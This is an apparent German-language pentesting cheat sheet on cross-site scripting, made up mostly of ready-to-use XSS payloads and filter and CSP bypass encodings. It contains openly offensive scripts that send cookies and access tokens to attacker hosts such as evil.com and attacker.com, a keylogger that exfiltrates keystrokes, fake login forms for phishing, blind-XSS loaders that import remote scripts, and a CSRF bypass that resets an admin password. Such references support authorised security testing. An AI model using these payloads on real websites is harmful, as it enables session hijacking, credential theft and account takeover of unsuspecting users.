Skip to content

Cross Site Scripting (XSS)

Mit Cross-site scripting ist es möglich die same origin policy zu umgehen, welche dazu dient unterschiedliche Webseiten zu separieren. Die Content Security Policy (CSP) ist ein weiterer Sicherheitsmechanismus, welcher cross-site scripting und andere Schwachstellen behindern oder sogar verhindern soll. Allerdings kann die CSP oft leicht umgangen werden. Cross Site Scripting Darstellung

Tools

Identifizierung von XSS Lücken

Um XSS Payloads zu identifizieren können verschiedene Methoden genutzt werden. Ein Weg ist der Aufruf des Debuggers, dazu müssen aber die Entwicklungswerkzeuge offen sein.

<script>debugger;</script>
Da XSS in verschiedenen Kontexten laufen kann ist es gut XSS mit den Methoden document.domain und window.origin zu testen. Hierfür eignet sich am besten die console.log Methode, da sie bei erfolgreicher Ausführung weniger störend ist als alert.
Zudem können diese Methoden auch verkettet werden:
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>

DOM-basiertes Cross-site scripting

Diese Art des XSS Angriffs tritt auf, wenn eine Webanwendung Daten aus einer nicht vertrauenswürdigen Quelle nicht validiert. Meistens beim zurückschreiben der Daten ins DOM. Das folgende Beispiel veranschaulicht dies, indem aus dem Such Element der Wert genommen wird und wieder auf die Seite geschrieben wird.

var search = document.getElementById('search').value;
var results = document.getElementById('results');
results.innerHTML = 'You searched for: ' + search;

Exploiting

Es gibt verschiedene Möglichkeiten XSS zu exploiten.
Die einfachste Möglichkeit ist ein Skript nachzuladen, da hier nicht auf die encodierung geachtet werden muss.
Dafür gibt es zwei Möglichkeiten entweder das Skript wird direkt geladen <script src=""></script> oder es wird erstellt: <img src='x' onerror="document.write('<script> src=\"\"></script>')" />

Klassische XSS Payloads Basic Payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
<><img src=1 onerror=alert(1)>
Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;
Div Payload
<div onpointerover="alert(45)">MOVE HERE</div>
<div onpointerdown="alert(45)">MOVE HERE</div>
<div onpointerenter="alert(45)">MOVE HERE</div>
<div onpointerleave="alert(45)">MOVE HERE</div>
<div onpointermove="alert(45)">MOVE HERE</div>
<div onpointerout="alert(45)">MOVE HERE</div>
<div onpointerup="alert(45)">MOVE HERE</div>

Ausnutzung von wkhtmltopdf:

wkhtmltopdf

Steal Cookies

<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>

Session Hijacking

<script>document.location='http://attacker.com?cookie='+document.cookie</script>
<script>fetch("http://evil.com/?"+btoa(document.cookie));</script>
<script>c=localStorage.getItem('access_token');fetch(`http://evil.com/${c}`)</script>
new Image().src='http://OUR_IP/index.php?c='+document.cookie;


#POST
<script>
    fetch("http://10.0.0.1/", {
        method: 'POST',
        mode: 'no-cors',
        body: document.cookie
    });
</script>
#POST mit XMLHttpRequest
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = () => {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        var xhr_exfil = new XMLHttpRequest();
        xhr_exfil.open('POST', "http://evil.com:1234/", false);
        xhr_exfil.send(xhr.response);
    }
};
xhr.open('POST', "http://victim.com/login.php", false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send("username=admin&password=admin");

Keylogging

<script>
document.onkeypress = function(e) {
  var xhr = new XMLHttpRequest();
  xhr.open("GET", "http://attacker.com/keystrokes?key=" + e.key, true);
  xhr.send();
};
</script>
#oneliner
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>

Phishing

Erstellung einer falschen Login Eingabe:

<script>
document.getElementById('urlform').remove(); # Entfernung von Elementen um nur Login zu haben
document.body.innerHTML += "<h3>Please login to continue</h3><form action=http://10.10.15.239:4242/><input type=username name=username placeholder=Username><input type=password name=password placeholder=Password><input type=submit name=submit valuee=Login></form>"
</script>

Data Grabber

<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>
<script>document.location='http://localhost/XSS/grabber.php?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="http://localhost/cookie.php?c="+document.cookie;</script>
<script>new Image().src="http://localhost/cookie.php?c="+localStorage.getItem('access_token');</script>

UI Redressing

Bei dem UI Redressing wird die Webseite umgestaltet. Dabei wird in dem folgenden Code in der ersten Zeile die Adressezeile geändert. Dies hat keinerlei Auswirkungen, soll für den Nutzer nur Vertrauenswürdiger Aussehen. Danach wird in der zweiten Zeile der Code mit dem eigenen überschrieben.

<script>
history.replaceState(null, null, '../../../login');
document.body.innerHTML = "</br></br></br></br></br><h1>Please login to continue</h1><form>Username: <input type='text'>Password: <input type='password'></form><input value='submit' type='submit'>"
</script>

Enumerieren eines internen Endpunkts

var endpoints = ['access-token','account','accounts','amount','balance','balances','bar','baz','bio','bios','category','channel','chart','circular','company','content','contract','coordinate','credentials','creds','custom','customer','customers','details','dir','directory','dob','email','employee','event','favorite','feed','foo','form','github','gmail','group','history','image','info','item','job','link','links','location','log','login','logins','logs','map','member','members','messages','money','my','name','names','news','option','options','pass','password','passwords','phone','picture','pin','post','prod','production','profile','profiles','publication','record','sale','sales','set','setting','settings','setup','site','test','theme','token','tokens','twitter','union','url','user','username','users','vendor','vendors','version','website','work','yahoo'];

for (i in endpoints){
    try {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', `https://api.internal-apis.htb/v1/${endpoints[i]}`, false);
        xhr.send();

        if (xhr.status != 404){
            var exfil = new XMLHttpRequest();
            exfil.open("GET", "https://10.10.14.144:4443/exfil?r=" + btoa(endpoints[i]), false);
            exfil.send();
        }
    } catch {
        // do nothing
    }
}

Umgehen des CSRF Schutzes

// GET CSRF token
var xhr = new XMLHttpRequest();
xhr.open('GET', '/home.php', false);
xhr.withCredentials = true;
xhr.send();
var doc = new DOMParser().parseFromString(xhr.responseText, 'text/html');
var csrftoken = encodeURIComponent(doc.getElementById('csrf_token').value);

// change PW
var csrf_req = new XMLHttpRequest();
var params = `username=admin&email=admin@vulnerablesite.htb&password=pwned&csrf_token=${csrftoken}`;
csrf_req.open('POST', '/home.php', false);
csrf_req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
csrf_req.withCredentials = true;
csrf_req.send(params);

Interessante Payloads

<script>onerror=alert;throw 123</script>
<script>{onerror=alert}throw 123</script>
%0D%0A<script>alert(1)</script> #newline
<iframe src="javascript:alert(1)"></iframe>
<iframe onload=alert(1)></iframe>
<img src="jav ascript:alert(1)">
<img dynsrc="javascript:alert(1)">
<img lowsrc="javascript:alert(1)">
<input autofocus onfocus=alert(1)>
<body onload=alert(/XSS/.source)>

Angular

Ist eins der folgenden Elemente im Quellcode der Seite enthalten, handelt es sich um Angular: '''', '''' oder ''

''. Dann kann eine der folgenden Payloads benutzt werden: ''{{$eval.constructor('alert(1)')()}}'' oder ''{{$on.constructor('alert(1)')()}}''.

Dangling Markup

Technik mit der Domänenübergreifend Daten erfasst werden können, wenn ein XSS Angriff Aufgrund von Eingabefiltern oder anderen Schutzmaßnahmen nicht möglich ist. Oft ist es hierdurch möglich sensible Informationen abzugreifen, welche für andere Nutzer sichtbar sind. Darunter fallen auch CSRF-Token.

Blind XSS

<script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script>
"><script src=//192.168.56.102></script><x="
$.getScript("//192.168.56.102") # jQuery
"><img src onerror=import('//192.168.56.102')>
"><img/src/onerror=import('//192.168.56.102')>
"><svg><script href=//192.168.56.102 />
"><svg/onload=import('//192.168.56.102')>
javascript:import('//192.168.56.102') # Link based URI payload
{{_openBlock.constructor('import("//192.168.56.102")')()}} # VueJS v3
{{constructor.constructor('import("//192.168.56.102")')()}} # VueJS v2 Angular JS
<img src=x onerror="fetch('https://your-server.com/log?cookie='+document.cookie)">
<script>navigator.sendBeacon('https://your-server.com/log', JSON.stringify(localStorage))</script>
<svg onload="(new Image).src='https://your-server.com/log?'+document.cookie">

XSS Filter Umgehen

  • HTML Enkodieren der Entitäten: &lt;script&gt;alert('XSS')&lt;/script&gt;
  • URL Encoding: %3Cscript%3Ealert('XSS')%3C/script%3E
  • Hex Encoding: "\x61\x6c\x65\x72\x74\x28\x31\x29"
  • Octal Encoding: "\141\154\145\162\164\50\61\51"
  • Unicode Encoding: "\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029"
  • Base64 Encoding: atob("YWxlcnQoMSk=")
  • Kontext ausbruch: "><script>alert('XSS')</script>
  • Polyglot Payloads, welche in mehreren Kontexten ausführbar sind: <svg/onload=alert('XSS')>
  • Nonce ausnutzen zur Umgehung der CSP
  • JSONP Ausnutzen zur Umgehung der CSP: %%<script src="http://vulnerable-website.com/jsonp?callback=alert('XSS')"></script>%% Sollten Anführungszeichen nicht möglich sein kann eine der folgenden Methoden genommen werden:
    # String.fromCharCode
    String.fromCharCode(97,108,101,114,116,40,49,41)
    
    # .source
    /alert(1)/.source
    
    # Url encodierung
    decodeURI(/alert(%22xss%22)/.source)
    

Bei den vorgestellten Methoden handelt es sich lediglich um Strings.
Allerdings wird es vom Browser nur ausgeführt, wenn es eine Ausführungssink gibt, welche als Input einen String entgegennimmt.
Die bekannteste Funktion hierfür ist die eval Funktion.
Auch wenn es andere gibt:

eval("alert(1)")
setTimeout("alert(1)")
setInterval("alert(1)")
Function("alert(1)")()
[].constructor.constructor(alert(1))()

Diese können dann genommen werden um unseren enkodierten String auszuführen:

eval("\141\154\145\162\164\50\61\51")
setTimeout(String.fromCharCode(97,108,101,114,116,40,49,41))
Function(atob("YWxlcnQoMSk="))()

Weitere Bypass Techniken

Webseit defacement

document.body.style.background = "#141d2b" # Hintergrundfarbe ändern
document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg" # Hintergrund ändern
document.title = 'HackTheBox Academy' # Titel ändern
document.getElementById("todo").innerHTML = "New Text" #  Elemente auf Seite ändern
document.getElementsByTagName('body')[0].innerHTML = "New Text" # Ändern der ganzen Seite

Cheat Sheet

Quellen

~ ~